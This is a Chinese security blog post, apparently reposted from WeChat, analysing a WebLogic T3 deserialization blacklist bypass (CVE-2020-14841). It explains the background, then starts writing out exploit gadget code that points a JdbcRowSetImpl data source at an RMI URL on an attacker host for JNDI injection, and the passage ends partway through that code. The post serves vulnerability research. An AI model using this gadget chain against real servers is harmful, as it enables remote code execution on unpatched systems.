> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/wFHhWvnCLm1xcWZIbv6O3A)
前几天 weblogic 7 月例行更新中,修复了一个反序列化漏洞。该漏洞性质属于绕过之前的反序列化漏洞补丁。要了解这个漏洞的原因,我们首先要学习其他几个漏洞的原理。
一 weblogic 反序列化绕过指南
-------------------
本章节只是大概讲解一下如何绕过 weblogic 反序列化漏洞的补丁。
序列化和反序列化是将一个对象从本机 JVM 中传输到远程 JVM 上。在 java 序列化的时候,会将对象的类名也写入到传输的数据中。反序列化的时候首先从数据中读取类名,然后通过反射,根据类名去实例化这个对象。类通过实现 java.io.Serializable 接口可以启用其序列化功能。未实现次接口的类无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。
一个类如果想被序列化,那么它可以继承自两个接口,这两个接口的对比如下。
区 别 | Serializable | Externalizable |
---|
实现复杂度 | 实现简单,Java 对其有内建支持 | 实现复杂,由开发人员自己完成 |
执行效率 | 所有对象由 Java 统一保存,性能较低 | 开发人员决定哪个对象保存,可能造成速度提升 |
保存信息 | 保存时占用空间大 | 部分存储,可能造成空间减少 |
而在 weblogic 的 T3 协议中,就是用 java 的序列化协议互相传输对象。为了保证安全性,T3 协议的反序列化黑名单中标识哪些类不可以被反序列化。所以 weblogic 补丁绕过总共有下面几种办法
### 1.1 黑名单没有覆盖的类
weblogic 的开发没有主观能动性,对于安全态度十分消极。只有有人上报 CVE,他才会动手加黑名单。否则绝对不会做任何事情。而且对于黑名单经常漏加,造成很多绕过案例。
### 1.2 利用未经过滤的 ObjectInputStream 绕过
在之前的公众号讲过,在 weblogic 中某些类继承自 Externalizable 接口,在反序列化的时候默认会调用`readExternal`方法。在该方法中没有使用 weblogic 提供的带有黑名单过滤功能的 FilterInputStream 去还原类。而是自作主张,自己使用了没有黑名单过滤的 ObjectInputStream 去还原对象。造成黑名单根本就没用上,例如 CVE-2020-2551 就是这种情况。
当然这只是一个大概,并没有很详细,我们这篇文章的重点不在此。
3. CVE-2020-14841 Jndi 注入漏洞
---------------------------
在`oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor`中,代码如下
```
public Object extract(Object arg0) { if (arg0 == null) { return null; } else { if (arg0 instanceof Wrapper) { arg0 = ((Wrapper)arg0).unwrap(); } if (!this.accessor.isInitialized()) { this.accessor.initializeAttributes(arg0.getClass()); } return this.accessor.getAttributeValueFromObject(arg0); } }
```
我们可以从代码上看出来,类似与 cve-2020-2555,用法也都是一样的。触发漏洞的重点在于 this.accessor.getAttributeValueFromObject 中。对于这个漏洞,我们一般使用 MethodAttributeAccessor 这个类去触发漏洞
相关代码如下
```
public class MethodAttributeAccessor extends AttributeAccessor { protected String setMethodName = ""; protected String getMethodName; protected transient Method setMethod; protected transient Method getMethod; protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException { try { if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) { try { return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters)); } else { return this.getMethod.invoke(anObject, parameters); }
```
下面我们选取一条 Gadget。在反序列化的 Gadget 中,单纯通过反序列化还原一个类是没有办法触发漏洞,一般都一条链条去触发。所以我们选取下面的 cve-2020-14645 的 Gadget,代码如下
```
// JdbcRowSetImpl JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd"); MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor(); methodAttributeAccessor.setGetMethodName("getDatabaseMetaData"); methodAttributeAccessor.setIsWriteOnly(true); methodAttributeAccessor.setAttributeName("UnicodeSec"); LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec"); final ExtractorComparator comparator = new ExtractorComparator(extractor); final PriorityQueue